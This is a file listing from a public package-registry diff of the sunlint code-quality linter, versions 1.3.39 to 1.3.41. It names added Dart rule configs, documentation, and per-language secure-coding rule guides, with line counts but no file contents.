@sun-asterisk/sunlint 1.3.39 → 1.3.41
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/config/rules/rules-registry-generated.json +134 -108
- package/core/rule-selection-service.js +11 -0
- package/docs/GENERATED_FILES_QUICK_REFERENCE.md +96 -0
- package/docs/GENERATED_FILE_HANDLING_SUMMARY.md +152 -0
- package/docs/skills/CREATE_NEW_DART_RULE.md +161 -14
- package/origin-rules/dart-en.md +151 -163
- package/package.json +2 -1
- package/rules/dart/D002_dispose_resources/config.json +25 -0
- package/rules/dart/D003_prefer_widgets_over_methods/config.json +14 -0
- package/rules/dart/D004_avoid_shrinkwrap_listview/config.json +13 -0
- package/rules/dart/D005_limit_widget_nesting/config.json +13 -0
- package/rules/dart/D006_prefer_extracting_large_callbacks/config.json +25 -0
- package/rules/dart/D007_prefer_init_first_dispose_last/config.json +10 -0
- package/rules/dart/D008_avoid_long_functions/config.json +12 -0
- package/rules/dart/D009_limit_function_parameters/config.json +13 -0
- package/rules/dart/D010_limit_cyclomatic_complexity/config.json +12 -0
- package/rules/dart/D011_prefer_named_parameters/config.json +12 -0
- package/rules/dart/D012_prefer_named_boolean_parameters/config.json +9 -0
- package/rules/dart/D013_single_public_class/config.json +10 -0
- package/rules/dart/D014_unsafe_collection_access/config.json +10 -0
- package/rules/dart/D015_copywith_all_parameters/config.json +9 -0
- package/rules/dart/D016_project_should_have_tests/config.json +24 -0
- package/rules/dart/D017_pubspec_dependencies_review/config.json +23 -0
- package/rules/dart/D018_remove_commented_code/config.json +13 -0
- package/rules/dart/D019_avoid_single_child_multi_child_widget/config.json +21 -0
- package/rules/dart/D020_limit_if_else_branches/config.json +12 -0
- package/rules/dart/D021_avoid_negated_boolean_checks/config.json +14 -0
- package/rules/dart/D022_use_setstate_correctly/config.json +14 -0
- package/rules/dart/D023_avoid_unnecessary_method_overrides/config.json +13 -0
- package/rules/dart/D024_avoid_unnecessary_stateful_widget/config.json +9 -0
- package/rules/dart/D025_avoid_nested_conditional_expressions/config.json +9 -0
- package/skill-assets/sunlint-code-quality/AGENTS.md +80 -0
- package/skill-assets/sunlint-code-quality/SKILL.md +176 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/C006-verb-noun-functions.md +36 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/C013-no-dead-code.md +38 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/C014-dependency-injection.md +45 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/C017-no-constructor-logic.md +46 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/C018-generic-errors.md +38 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/C019-error-log-level.md +29 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/C020-no-unused-imports.md +30 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/C022-no-unused-variables.md +33 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/C023-no-duplicate-names.md +36 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/C024-centralize-constants.md +33 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/C029-catch-log-root-cause.md +40 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/C030-custom-error-classes.md +38 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/C033-separate-data-access.md +53 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/C035-error-context-logging.md +31 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/C041-no-hardcoded-secrets.md +25 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/C042-boolean-naming.md +27 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/C052-controller-parsing.md +41 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/C060-superclass-logic.md +33 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/C067-no-hardcoded-config.md +24 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S003-open-redirect.md +47 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S004-no-log-credentials.md +28 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S005-server-authorization.md +51 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S006-default-credentials.md +42 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S007-output-encoding.md +36 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S009-approved-crypto.md +37 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S010-csprng.md +32 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S011-encrypted-client-hello.md +36 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S012-secrets-management.md +35 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S013-tls-connections.md +36 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S016-no-sensitive-query-string.md +39 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S017-parameterized-queries.md +47 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S019-email-input-sanitization.md +35 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S020-eval-code-execution.md +56 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S022-context-escaping.md +50 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S023-dynamic-js-encoding.md +34 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S025-server-validation.md +56 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S026-tls-encryption.md +28 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S027-mtls-validation.md +40 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S028-upload-limits.md +50 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S029-csrf-protection.md +42 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S030-directory-browsing.md +26 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S031-secure-cookie-flag.md +35 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S032-httponly-cookie.md +31 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S033-samesite-cookie.md +36 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S034-host-prefix-cookie.md +31 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S035-app-hostnames.md +26 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S036-internal-file-paths.md +36 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S037-anti-cache-headers.md +33 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S039-tls-certificate-validation.md +41 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S041-logout-invalidation.md +36 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S042-long-lived-sessions.md +47 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S044-critical-changes-reauth.md +45 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S045-brute-force-protection.md +48 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S047-oauth-csrf-protection.md +53 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S048-oauth-redirect-validation.md +37 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S049-auth-code-expiry.md +33 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S050-token-entropy.md +33 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S051-password-length.md +35 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S052-otp-entropy.md +26 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S053-generic-error-messages.md +32 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S054-no-default-admin.md +31 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S055-content-type-validation.md +44 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S056-log-injection.md +33 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S057-synchronized-time.md +27 -0
- package/skill-assets/sunlint-code-quality/rules/csharp/S058-ssrf-protection.md +54 -0
- package/skill-assets/sunlint-code-quality/rules/go/C006-verb-noun-functions.md +45 -0
- package/skill-assets/sunlint-code-quality/rules/go/C013-no-dead-code.md +48 -0
- package/skill-assets/sunlint-code-quality/rules/go/C014-dependency-injection.md +85 -0
- package/skill-assets/sunlint-code-quality/rules/go/C017-no-constructor-logic.md +67 -0
- package/skill-assets/sunlint-code-quality/rules/go/C018-generic-errors.md +63 -0
- package/skill-assets/sunlint-code-quality/rules/go/C019-error-log-level.md +50 -0
- package/skill-assets/sunlint-code-quality/rules/go/C020-no-unused-imports.md +45 -0
- package/skill-assets/sunlint-code-quality/rules/go/C022-no-unused-variables.md +34 -0
- package/skill-assets/sunlint-code-quality/rules/go/C023-no-duplicate-names.md +41 -0
- package/skill-assets/sunlint-code-quality/rules/go/C024-centralize-constants.md +55 -0
- package/skill-assets/sunlint-code-quality/rules/go/C029-catch-log-root-cause.md +56 -0
- package/skill-assets/sunlint-code-quality/rules/go/C030-custom-error-classes.md +69 -0
- package/skill-assets/sunlint-code-quality/rules/go/C033-separate-data-access.md +68 -0
- package/skill-assets/sunlint-code-quality/rules/go/C035-error-context-logging.md +48 -0
- package/skill-assets/sunlint-code-quality/rules/go/C041-no-hardcoded-secrets.md +45 -0
- package/skill-assets/sunlint-code-quality/rules/go/C042-boolean-naming.md +42 -0
- package/skill-assets/sunlint-code-quality/rules/go/C052-controller-parsing.md +62 -0
- package/skill-assets/sunlint-code-quality/rules/go/C060-superclass-logic.md +60 -0
- package/skill-assets/sunlint-code-quality/rules/go/C067-no-hardcoded-config.md +51 -0
- package/skill-assets/sunlint-code-quality/rules/go/S003-open-redirect.md +80 -0
- package/skill-assets/sunlint-code-quality/rules/go/S004-no-log-credentials.md +66 -0
- package/skill-assets/sunlint-code-quality/rules/go/S005-server-authorization.md +55 -0
- package/skill-assets/sunlint-code-quality/rules/go/S006-default-credentials.md +47 -0
- package/skill-assets/sunlint-code-quality/rules/go/S007-output-encoding.md +50 -0
- package/skill-assets/sunlint-code-quality/rules/go/S009-approved-crypto.md +63 -0
- package/skill-assets/sunlint-code-quality/rules/go/S010-csprng.md +53 -0
- package/skill-assets/sunlint-code-quality/rules/go/S011-encrypted-client-hello.md +34 -0
- package/skill-assets/sunlint-code-quality/rules/go/S012-secrets-management.md +49 -0
- package/skill-assets/sunlint-code-quality/rules/go/S013-tls-connections.md +61 -0
- package/skill-assets/sunlint-code-quality/rules/go/S016-no-sensitive-query-string.md +42 -0
- package/skill-assets/sunlint-code-quality/rules/go/S017-parameterized-queries.md +36 -0
- package/skill-assets/sunlint-code-quality/rules/go/S019-email-input-sanitization.md +44 -0
- package/skill-assets/sunlint-code-quality/rules/go/S020-eval-code-execution.md +47 -0
- package/skill-assets/sunlint-code-quality/rules/go/S022-context-escaping.md +49 -0
- package/skill-assets/sunlint-code-quality/rules/go/S023-dynamic-js-encoding.md +51 -0
- package/skill-assets/sunlint-code-quality/rules/go/S025-server-validation.md +57 -0
- package/skill-assets/sunlint-code-quality/rules/go/S026-tls-encryption.md +46 -0
- package/skill-assets/sunlint-code-quality/rules/go/S027-mtls-validation.md +52 -0
- package/skill-assets/sunlint-code-quality/rules/go/S028-upload-limits.md +58 -0
- package/skill-assets/sunlint-code-quality/rules/go/S029-csrf-protection.md +53 -0
- package/skill-assets/sunlint-code-quality/rules/go/S030-directory-browsing.md +53 -0
- package/skill-assets/sunlint-code-quality/rules/go/S031-secure-cookie-flag.md +48 -0
- package/skill-assets/sunlint-code-quality/rules/go/S032-httponly-cookie.md +42 -0
- package/skill-assets/sunlint-code-quality/rules/go/S033-samesite-cookie.md +49 -0
- package/skill-assets/sunlint-code-quality/rules/go/S034-host-prefix-cookie.md +44 -0
- package/skill-assets/sunlint-code-quality/rules/go/S035-app-hostnames.md +50 -0
- package/skill-assets/sunlint-code-quality/rules/go/S036-internal-file-paths.md +56 -0
- package/skill-assets/sunlint-code-quality/rules/go/S037-anti-cache-headers.md +43 -0
- package/skill-assets/sunlint-code-quality/rules/go/S039-tls-certificate-validation.md +41 -0
- package/skill-assets/sunlint-code-quality/rules/go/S041-logout-invalidation.md +46 -0
- package/skill-assets/sunlint-code-quality/rules/go/S042-long-lived-sessions.md +58 -0
- package/skill-assets/sunlint-code-quality/rules/go/S044-critical-changes-reauth.md +53 -0
- package/skill-assets/sunlint-code-quality/rules/go/S045-brute-force-protection.md +55 -0
- package/skill-assets/sunlint-code-quality/rules/go/S047-oauth-csrf-protection.md +51 -0
- package/skill-assets/sunlint-code-quality/rules/go/S048-oauth-redirect-validation.md +58 -0
- package/skill-assets/sunlint-code-quality/rules/go/S049-auth-code-expiry.md +52 -0
- package/skill-assets/sunlint-code-quality/rules/go/S050-token-entropy.md +53 -0
- package/skill-assets/sunlint-code-quality/rules/go/S051-password-length.md +49 -0
- package/skill-assets/sunlint-code-quality/rules/go/S052-otp-entropy.md +48 -0
- package/skill-assets/sunlint-code-quality/rules/go/S053-generic-error-messages.md +51 -0
- package/skill-assets/sunlint-code-quality/rules/go/S054-no-default-admin.md +43 -0
- package/skill-assets/sunlint-code-quality/rules/go/S055-content-type-validation.md +52 -0
- package/skill-assets/sunlint-code-quality/rules/go/S056-log-injection.md +40 -0
- package/skill-assets/sunlint-code-quality/rules/go/S057-synchronized-time.md +40 -0
- package/skill-assets/sunlint-code-quality/rules/go/S058-ssrf-protection.md +70 -0
- package/skill-assets/sunlint-code-quality/rules/java/C006-verb-noun-functions.md +36 -0
- package/skill-assets/sunlint-code-quality/rules/java/C013-no-dead-code.md +175 -0
- package/skill-assets/sunlint-code-quality/rules/java/C014-dependency-injection.md +42 -0
- package/skill-assets/sunlint-code-quality/rules/java/C017-no-constructor-logic.md +39 -0
- package/skill-assets/sunlint-code-quality/rules/java/C018-generic-errors.md +28 -0
- package/skill-assets/sunlint-code-quality/rules/java/C019-error-log-level.md +34 -0
- package/skill-assets/sunlint-code-quality/rules/java/C020-no-unused-imports.md +34 -0
- package/skill-assets/sunlint-code-quality/rules/java/C022-no-unused-variables.md +31 -0
- package/skill-assets/sunlint-code-quality/rules/java/C023-no-duplicate-names.md +37 -0
- package/skill-assets/sunlint-code-quality/rules/java/C024-centralize-constants.md +36 -0
- package/skill-assets/sunlint-code-quality/rules/java/C029-catch-log-root-cause.md +42 -0
- package/skill-assets/sunlint-code-quality/rules/java/C030-custom-error-classes.md +50 -0
- package/skill-assets/sunlint-code-quality/rules/java/C033-separate-data-access.md +46 -0
- package/skill-assets/sunlint-code-quality/rules/java/C035-error-context-logging.md +38 -0
- package/skill-assets/sunlint-code-quality/rules/java/C041-no-hardcoded-secrets.md +34 -0
- package/skill-assets/sunlint-code-quality/rules/java/C042-boolean-naming.md +27 -0
- package/skill-assets/sunlint-code-quality/rules/java/C052-controller-parsing.md +39 -0
- package/skill-assets/sunlint-code-quality/rules/java/C060-superclass-logic.md +32 -0
- package/skill-assets/sunlint-code-quality/rules/java/C067-no-hardcoded-config.md +31 -0
- package/skill-assets/sunlint-code-quality/rules/java/S003-open-redirect.md +38 -0
- package/skill-assets/sunlint-code-quality/rules/java/S004-no-log-credentials.md +36 -0
- package/skill-assets/sunlint-code-quality/rules/java/S005-server-authorization.md +53 -0
- package/skill-assets/sunlint-code-quality/rules/java/S006-default-credentials.md +39 -0
- package/skill-assets/sunlint-code-quality/rules/java/S007-output-encoding.md +49 -0
- package/skill-assets/sunlint-code-quality/rules/java/S009-approved-crypto.md +40 -0
- package/skill-assets/sunlint-code-quality/rules/java/S010-csprng.md +36 -0
- package/skill-assets/sunlint-code-quality/rules/java/S011-encrypted-client-hello.md +27 -0
- package/skill-assets/sunlint-code-quality/rules/java/S012-secrets-management.md +34 -0
- package/skill-assets/sunlint-code-quality/rules/java/S013-tls-connections.md +40 -0
- package/skill-assets/sunlint-code-quality/rules/java/S016-no-sensitive-query-string.md +36 -0
- package/skill-assets/sunlint-code-quality/rules/java/S017-parameterized-queries.md +47 -0
- package/skill-assets/sunlint-code-quality/rules/java/S019-email-input-sanitization.md +32 -0
- package/skill-assets/sunlint-code-quality/rules/java/S020-eval-code-execution.md +45 -0
- package/skill-assets/sunlint-code-quality/rules/java/S022-context-escaping.md +28 -0
- package/skill-assets/sunlint-code-quality/rules/java/S023-dynamic-js-encoding.md +28 -0
- package/skill-assets/sunlint-code-quality/rules/java/S025-server-validation.md +58 -0
- package/skill-assets/sunlint-code-quality/rules/java/S026-tls-encryption.md +57 -0
- package/skill-assets/sunlint-code-quality/rules/java/S027-mtls-validation.md +26 -0
- package/skill-assets/sunlint-code-quality/rules/java/S028-upload-limits.md +35 -0
- package/skill-assets/sunlint-code-quality/rules/java/S029-csrf-protection.md +35 -0
- package/skill-assets/sunlint-code-quality/rules/java/S030-directory-browsing.md +38 -0
- package/skill-assets/sunlint-code-quality/rules/java/S031-secure-cookie-flag.md +38 -0
- package/skill-assets/sunlint-code-quality/rules/java/S032-httponly-cookie.md +31 -0
- package/skill-assets/sunlint-code-quality/rules/java/S033-samesite-cookie.md +42 -0
- package/skill-assets/sunlint-code-quality/rules/java/S034-host-prefix-cookie.md +35 -0
- package/skill-assets/sunlint-code-quality/rules/java/S035-app-hostnames.md +23 -0
- package/skill-assets/sunlint-code-quality/rules/java/S036-internal-file-paths.md +39 -0
- package/skill-assets/sunlint-code-quality/rules/java/S037-anti-cache-headers.md +37 -0
- package/skill-assets/sunlint-code-quality/rules/java/S039-tls-certificate-validation.md +43 -0
- package/skill-assets/sunlint-code-quality/rules/java/S041-logout-invalidation.md +53 -0
- package/skill-assets/sunlint-code-quality/rules/java/S042-long-lived-sessions.md +36 -0
- package/skill-assets/sunlint-code-quality/rules/java/S044-critical-changes-reauth.md +28 -0
- package/skill-assets/sunlint-code-quality/rules/java/S045-brute-force-protection.md +38 -0
- package/skill-assets/sunlint-code-quality/rules/java/S047-oauth-csrf-protection.md +33 -0
- package/skill-assets/sunlint-code-quality/rules/java/S048-oauth-redirect-validation.md +25 -0
- package/skill-assets/sunlint-code-quality/rules/java/S049-auth-code-expiry.md +23 -0
- package/skill-assets/sunlint-code-quality/rules/java/S050-token-entropy.md +20 -0
- package/skill-assets/sunlint-code-quality/rules/java/S051-password-length.md +20 -0
- package/skill-assets/sunlint-code-quality/rules/java/S052-otp-entropy.md +23 -0
- package/skill-assets/sunlint-code-quality/rules/java/S053-generic-error-messages.md +21 -0
- package/skill-assets/sunlint-code-quality/rules/java/S054-no-default-admin.md +16 -0
- package/skill-assets/sunlint-code-quality/rules/java/S055-content-type-validation.md +36 -0
- package/skill-assets/sunlint-code-quality/rules/java/S056-log-injection.md +38 -0
- package/skill-assets/sunlint-code-quality/rules/java/S057-synchronized-time.md +35 -0
- package/skill-assets/sunlint-code-quality/rules/java/S058-ssrf-protection.md +56 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/C006-verb-noun-functions.md +45 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/C013-no-dead-code.md +49 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/C014-dependency-injection.md +64 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/C017-no-constructor-logic.md +68 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/C018-generic-errors.md +46 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/C019-error-log-level.md +50 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/C020-no-unused-imports.md +44 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/C022-no-unused-variables.md +39 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/C023-no-duplicate-names.md +47 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/C024-centralize-constants.md +58 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/C029-catch-log-root-cause.md +50 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/C030-custom-error-classes.md +72 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/C033-separate-data-access.md +69 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/C035-error-context-logging.md +47 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/C041-no-hardcoded-secrets.md +47 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/C042-boolean-naming.md +42 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/C052-controller-parsing.md +71 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/C060-superclass-logic.md +60 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/C067-no-hardcoded-config.md +51 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S003-open-redirect.md +66 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S004-no-log-credentials.md +59 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S005-server-authorization.md +75 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S006-default-credentials.md +49 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S007-output-encoding.md +62 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S009-approved-crypto.md +51 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S010-csprng.md +61 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S011-encrypted-client-hello.md +48 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S012-secrets-management.md +53 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S013-tls-connections.md +61 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S016-no-sensitive-query-string.md +51 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S017-parameterized-queries.md +41 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S019-email-input-sanitization.md +50 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S020-eval-code-execution.md +57 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S022-context-escaping.md +58 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S023-dynamic-js-encoding.md +57 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S025-server-validation.md +59 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S026-tls-encryption.md +50 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S027-mtls-validation.md +60 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S028-upload-limits.md +67 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S029-csrf-protection.md +57 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S030-directory-browsing.md +50 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S031-secure-cookie-flag.md +51 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S032-httponly-cookie.md +49 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S033-samesite-cookie.md +54 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S034-host-prefix-cookie.md +50 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S035-app-hostnames.md +59 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S036-internal-file-paths.md +61 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S037-anti-cache-headers.md +58 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S039-tls-certificate-validation.md +62 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S041-logout-invalidation.md +71 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S042-long-lived-sessions.md +57 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S044-critical-changes-reauth.md +64 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S045-brute-force-protection.md +64 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S047-oauth-csrf-protection.md +74 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S048-oauth-redirect-validation.md +61 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S049-auth-code-expiry.md +70 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S050-token-entropy.md +65 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S051-password-length.md +52 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S052-otp-entropy.md +55 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S053-generic-error-messages.md +66 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S054-no-default-admin.md +57 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S055-content-type-validation.md +58 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S056-log-injection.md +47 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S057-synchronized-time.md +49 -0
- package/skill-assets/sunlint-code-quality/rules/kotlin/S058-ssrf-protection.md +69 -0
- package/skill-assets/sunlint-code-quality/rules/php/C006-verb-noun-functions.md +46 -0
- package/skill-assets/sunlint-code-quality/rules/php/C013-no-dead-code.md +53 -0
- package/skill-assets/sunlint-code-quality/rules/php/C014-dependency-injection.md +71 -0
- package/skill-assets/sunlint-code-quality/rules/php/C017-no-constructor-logic.md +68 -0
- package/skill-assets/sunlint-code-quality/rules/php/C018-generic-errors.md +50 -0
- package/skill-assets/sunlint-code-quality/rules/php/C019-error-log-level.md +54 -0
- package/skill-assets/sunlint-code-quality/rules/php/C020-no-unused-imports.md +55 -0
- package/skill-assets/sunlint-code-quality/rules/php/C022-no-unused-variables.md +51 -0
- package/skill-assets/sunlint-code-quality/rules/php/C023-no-duplicate-names.md +61 -0
- package/skill-assets/sunlint-code-quality/rules/php/C024-centralize-constants.md +60 -0
- package/skill-assets/sunlint-code-quality/rules/php/C029-catch-log-root-cause.md +57 -0
- package/skill-assets/sunlint-code-quality/rules/php/C030-custom-error-classes.md +62 -0
- package/skill-assets/sunlint-code-quality/rules/php/C033-separate-data-access.md +79 -0
- package/skill-assets/sunlint-code-quality/rules/php/C035-error-context-logging.md +54 -0
- package/skill-assets/sunlint-code-quality/rules/php/C041-no-hardcoded-secrets.md +59 -0
- package/skill-assets/sunlint-code-quality/rules/php/C042-boolean-naming.md +52 -0
- package/skill-assets/sunlint-code-quality/rules/php/C052-controller-parsing.md +66 -0
- package/skill-assets/sunlint-code-quality/rules/php/C060-superclass-logic.md +54 -0
- package/skill-assets/sunlint-code-quality/rules/php/C067-no-hardcoded-config.md +55 -0
- package/skill-assets/sunlint-code-quality/rules/php/S003-open-redirect.md +60 -0
- package/skill-assets/sunlint-code-quality/rules/php/S004-no-log-credentials.md +67 -0
- package/skill-assets/sunlint-code-quality/rules/php/S005-server-authorization.md +57 -0
- package/skill-assets/sunlint-code-quality/rules/php/S006-default-credentials.md +61 -0
- package/skill-assets/sunlint-code-quality/rules/php/S007-output-encoding.md +61 -0
- package/skill-assets/sunlint-code-quality/rules/php/S009-approved-crypto.md +53 -0
- package/skill-assets/sunlint-code-quality/rules/php/S010-csprng.md +47 -0
- package/skill-assets/sunlint-code-quality/rules/php/S011-encrypted-client-hello.md +41 -0
- package/skill-assets/sunlint-code-quality/rules/php/S012-secrets-management.md +60 -0
- package/skill-assets/sunlint-code-quality/rules/php/S013-tls-connections.md +67 -0
- package/skill-assets/sunlint-code-quality/rules/php/S016-no-sensitive-query-string.md +61 -0
- package/skill-assets/sunlint-code-quality/rules/php/S017-parameterized-queries.md +44 -0
- package/skill-assets/sunlint-code-quality/rules/php/S019-email-input-sanitization.md +54 -0
- package/skill-assets/sunlint-code-quality/rules/php/S020-eval-code-execution.md +57 -0
- package/skill-assets/sunlint-code-quality/rules/php/S022-context-escaping.md +58 -0
- package/skill-assets/sunlint-code-quality/rules/php/S023-dynamic-js-encoding.md +62 -0
- package/skill-assets/sunlint-code-quality/rules/php/S025-server-validation.md +63 -0
- package/skill-assets/sunlint-code-quality/rules/php/S026-tls-encryption.md +48 -0
- package/skill-assets/sunlint-code-quality/rules/php/S027-mtls-validation.md +62 -0
- package/skill-assets/sunlint-code-quality/rules/php/S028-upload-limits.md +60 -0
- package/skill-assets/sunlint-code-quality/rules/php/S029-csrf-protection.md +65 -0
- package/skill-assets/sunlint-code-quality/rules/php/S030-directory-browsing.md +40 -0
- package/skill-assets/sunlint-code-quality/rules/php/S031-secure-cookie-flag.md +55 -0
- package/skill-assets/sunlint-code-quality/rules/php/S032-httponly-cookie.md +54 -0
- package/skill-assets/sunlint-code-quality/rules/php/S033-samesite-cookie.md +52 -0
- package/skill-assets/sunlint-code-quality/rules/php/S034-host-prefix-cookie.md +49 -0
- package/skill-assets/sunlint-code-quality/rules/php/S035-app-hostnames.md +49 -0
- package/skill-assets/sunlint-code-quality/rules/php/S036-internal-file-paths.md +56 -0
- package/skill-assets/sunlint-code-quality/rules/php/S037-anti-cache-headers.md +56 -0
- package/skill-assets/sunlint-code-quality/rules/php/S039-tls-certificate-validation.md +54 -0
- package/skill-assets/sunlint-code-quality/rules/php/S041-logout-invalidation.md +63 -0
- package/skill-assets/sunlint-code-quality/rules/php/S042-long-lived-sessions.md +57 -0
- package/skill-assets/sunlint-code-quality/rules/php/S044-critical-changes-reauth.md +71 -0
- package/skill-assets/sunlint-code-quality/rules/php/S045-brute-force-protection.md +67 -0
- package/skill-assets/sunlint-code-quality/rules/php/S047-oauth-csrf-protection.md +72 -0
- package/skill-assets/sunlint-code-quality/rules/php/S048-oauth-redirect-validation.md +54 -0
- package/skill-assets/sunlint-code-quality/rules/php/S049-auth-code-expiry.md +71 -0
- package/skill-assets/sunlint-code-quality/rules/php/S050-token-entropy.md +58 -0
- package/skill-assets/sunlint-code-quality/rules/php/S051-password-length.md +59 -0
- package/skill-assets/sunlint-code-quality/rules/php/S052-otp-entropy.md +45 -0
- package/skill-assets/sunlint-code-quality/rules/php/S053-generic-error-messages.md +59 -0
- package/skill-assets/sunlint-code-quality/rules/php/S054-no-default-admin.md +62 -0
- package/skill-assets/sunlint-code-quality/rules/php/S055-content-type-validation.md +58 -0
- package/skill-assets/sunlint-code-quality/rules/php/S056-log-injection.md +48 -0
- package/skill-assets/sunlint-code-quality/rules/php/S057-synchronized-time.md +52 -0
